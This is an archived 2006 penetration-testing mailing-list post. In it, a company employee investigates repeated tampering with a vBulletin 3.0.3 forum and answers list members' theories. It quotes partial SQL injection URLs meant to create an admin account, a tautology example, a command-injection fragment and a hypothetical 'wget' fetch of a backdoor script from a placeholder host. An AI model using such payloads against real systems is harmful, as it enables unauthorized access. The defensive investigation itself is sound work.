Home page logo

pen-test logo Penetration Testing mailing list archives

Testing vulnerable web application : various replies
From: Dave <fla.tech.talk () gmail com>
Date: Thu, 06 Jul 2006 12:12:41 -0400

Daniel Clemens asked - Do you have webserver logs that can be viewed around this incident timeline? > Yes, the webservers logs always show various (usually automated) attacks. When we notice these things we generally will try to reproduce the attack to see if it was successful or not etc...Yes, there were some evidence of SQL injection attempts via GET method. We tried to duplicate these also with no success.

Advisor asked - Do u have any Application logs? ...authenticated used might have used "session manipulation vulnerability".

> In the admin panel there is an option in the 'users' sub section that allows you to see when the user in question last logged in etc...This is how we were checking to see which mods/admins were logged in during time of attacks. This also has been unfruitful. So we seriously doubt the session manipulation idea.

Rogan said - e.g. if the original query looks like SELECT * FROM TABLE WHERE limit < [limitnumber] whatever you supply as [limitnumber] still needs to form a completely valid SQL statement when it is executed. e.g. [limitnumber] = 10 OR 1 = 1 would return ALL record from the above table, since the 1=1 will always return TRUE, "overriding" the "limit < 10" part

> We have tried many variations using:
script?foo=bar'SQL where 1=1;

with many different 'commands' such as insert this or that, select this or that, union select this or that. We use the backup.sql files to aid us in crafting our GET and POST queries.

Richard Braganza said - I suspect you have been cross site scripted IOW the attacker has left a trojan in one of the forum posts. Could the threads be renamed rather than deleted?

> We have greped the backup files for "script" "location.replace" "scr+ipt" "<" "&lt;" etc to see if there are any javascript XSS entries. All the users entries are stored in the DB backup so if someone had a posting with a embedded script then we should have picked it up...we think anyway. We are running under the assumption that the attacker can do as he wish although we dont actually know what is abilities are. We know he can delete accounts and threads, whether or not he can dump the password hashes and gain mod/admin access or if he can create accounts with admin privileges is currently unknown.

Steven said - You may want to consider completely wiping your VBulletin install and starting fresh with patches and all.

> We have reinstalled the vBulletin program with patches but we must use backup.sql file in order to restore all content so if the attacker *did* install some sort of XSS backdoor (we dont think so) we wouldnt be doing ourselves much good. There are a number of the available exploits found that we were able to exploit on our unpatched test server. but once we patched the test server we were not able to exploit the program. Since our production server runs fully patched the attacker cant be using one of the publicly available poc's.

killy asked - The same accounts and threads vanished? might be a hint in the subject/content of the thread as to who maybe doing it? You are monitoring all admin/moderator accounts? Maybe they dumped the tables and cracked the hashes. Have you changed all passwords? phpmyadmin running also? IIS / apache?

> threads and accounts vary. there doesnt appear to be any *obvious* hints in thread content. Yes we monitor the admin/mod accounts...at least as far as the vBulletin admin panel allows us. We know when users last logged in etc...We have not been able to dump the DB contents but even if the attacker did we dont think he is using a *known* admin account because these accounts shows NO activity at the times that these actions occurred (at least on three occasions anyway). No there is no phpMyAdmin. Webserver is Apache on Linux.

Morning wood said - google shows... http://www.google.com/search?hl=en&q=vBulletin+3.0.3+exploit Results 1 - 20 of about 36,000 for vBulletin 3.0.3 exploit. 1st hit... http://www.osvdb.org/displayvuln.php?osvdb_id=12702. vBulliten has been plauged by flaws for quite sometime, and frankly I cant understand how you could not have discovered the cause of your issue with a simple search.

> Yes, 35,950 of those listings are refuse. Yes, we looked at the milworm exploits etc...We installed the metasploit framework (as I had used this in the past) but this poc does not work against our patched vBulletin program (was successful on the unpatched test version)...so this could NOT be what the attacker is using to exploit our main board...thanks anyway. You cant understand how we couldnt figure this out with a simple search through google...Well your simple search was certainly of no use to us.

josh perry.mon asked - What makes you think it has to be a SQL injection? Did you see any of this in the logs? the attacker obtained valid credentials using a Social Engineering attack... If they are using valid channels they will not leave a lot of clues. What about remote file inclusion exploit

>yes, given the facts we can find SQL injection seems to be the most realistic avenue of attack. If the attacker was able to con a password out of an admin/mod and was using this hijacked account to mess with things then we would at least know that this account was logged in at the time of the incident. this has not been the case (at least three times). The remote file inclusion exploit could be the case...we have NO evidence of such. For instance: If we have narrowed down that the board was altered Thursday between 7-9 p.m. then ALL logs from that time frame are searched. So if someone was able to include a file like shell.php we would be able to see this entry in the logs...we have seen no connections to documents that arent supposed to be on the server.

Zed said - I would also loose the [] around the parameter, although I have NEVER seen/played with a vBulletin and they may be required.What exactly is the point of this exersize? why don't you just upgrade to the latest version apart from the obvious monetary "penalty" associated with it?

> we tried with and without the []. We tried a lot of variations that I did not bother to list do to the fact we didnt want to send a 1 mb email to the list! The point of this exercise is two fold. If we can fix this in house we wont have to hire out or in other ways spend money the company doesnt want to spend on "computer stuff". This would please the boss (cough, job security). But we are doing most of this off the clock. We arent getting paid to fix this. Now, I can only speak for myself here, but I am currently just a coder. I want to work in security but have no real experience, so I volunteered to "try" to fix this on my own time. We are a small company and dont have an IT department :)...well I guess me and my fellow co worker ARE the IT department, haha. Why not upgrade to the latest and greatest version? Well, this is not our call.


Subject: testing vulnerable web application.

pen testers,

Our companies website hosts a forum program called vBulletin 3.0.3. A
few recent incidents (i.e. threads vanishing, user accounts deleted) has
us looking into how this is happening. Our manager wants to solve this
problem 'in house' so the task was given to me and another employee to
see if we can figure out how this is happening and stop it.

1) We have closely monitored all (co)admin and moderators activities and
this has revealed nothing out of the ordinary.

2) We restored the DB content using a backup and within 2 days the
threads and accounts in question were gone again.

3) We downloaded and installed a patch from vbulletin.com that was
supposed to secure the application but this has not stopped the problem.

We assumed the attacker was using some sort of SQL injection to alter
the DB records or possibly he can craft a SQL query in a way that will
create an admin account to use to simply log in and alter the records
and then delete his username...NO rogue admin accounts have ever been

1) We searched the bugtraq lists at securityfocus.com and packetstorm
for known SQL vulns for vBulletin

2) We set up a test server to test our theories without damaging the
actual DB or interrupting normal business. The options granted to our
vbulletin DB user are SELECT,UPDATE,ALTER,INSERT and DELETE so we set up

our test DB with the same permissions etc...

In our search for possible vulns we came across these links:


When we try to test these POC snippets we dont get results. Examples we
have tried:

USING example :
admincp/user.php?do=find&orderby=username&limitnumber=[SQL]  we crafted
a URL:
,%20'nospam () nospam org',%20'0',%20'',%20'',%20'',%20'',%20'',%20'2',%20'

The syntax for this SQL was obtained from the backup.sql file created by

vBulletin. In theory this would create an account with following values:

userid = 12345
usergroupid = 6
username = admintest
password = 5f376e00eb11f00d0262636a5b699501        this = "password"
passworddate = 2006-06-25
email = nospam () nospam org
styleid = 0
usertitle = Administrator
reputation = 10
reputationlevelid = 1
options = 2135
salt = $Nu

Another example we tried:
URL of vuln listing:

Reading this we wondered if the attacker was possibly running a command
on the server (such as wget http://foobar.com/backdoor.script) then
using this backdoor script he is able to view source code of DB related
scripts to obtain info for DB access etc...

We have tried using both the POC code and self crafted URL's like:[]=1&f=1&comm
_START_`.`'touch test.txt'`.`echo _END_`."
> then > 404 error file not found

This is just a small list of unfruitful examples gathered during a
rather exhaustive effort to exploit this application. To date we were
not able to successfully exploit the vBulletin application using any of
the available POC code snippets. We were hoping that someone out there
who is more proficient at this line of work could shed some light on our

situation and possibly point us in the right direction.

Thanks in advance for any suggestions.

This List Sponsored by: Cenzic

Concerned about Web Application Security? Why not go with the #1 solution - Cenzic, the only one to win the Analyst's Choice Award from eWeek. As attacks through web applications continue to rise, you need to proactively protect your applications from hackers. Cenzic has the most comprehensive solutions to meet your application security penetration testing and vulnerability management needs. You have an option to go with a managed service (Cenzic ClickToSecure) or an enterprise software (Cenzic Hailstorm). Download FREE whitepaper on how a managed service can help you: http://www.cenzic.com/news_events/wpappsec.php And, now for a limited time we can do a FREE audit for you to confirm your results from other product. Contact us at request () cenzic com for details.

  By Date           By Thread  

Current thread:
  • Testing vulnerable web application : various replies Dave (Jul 06)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]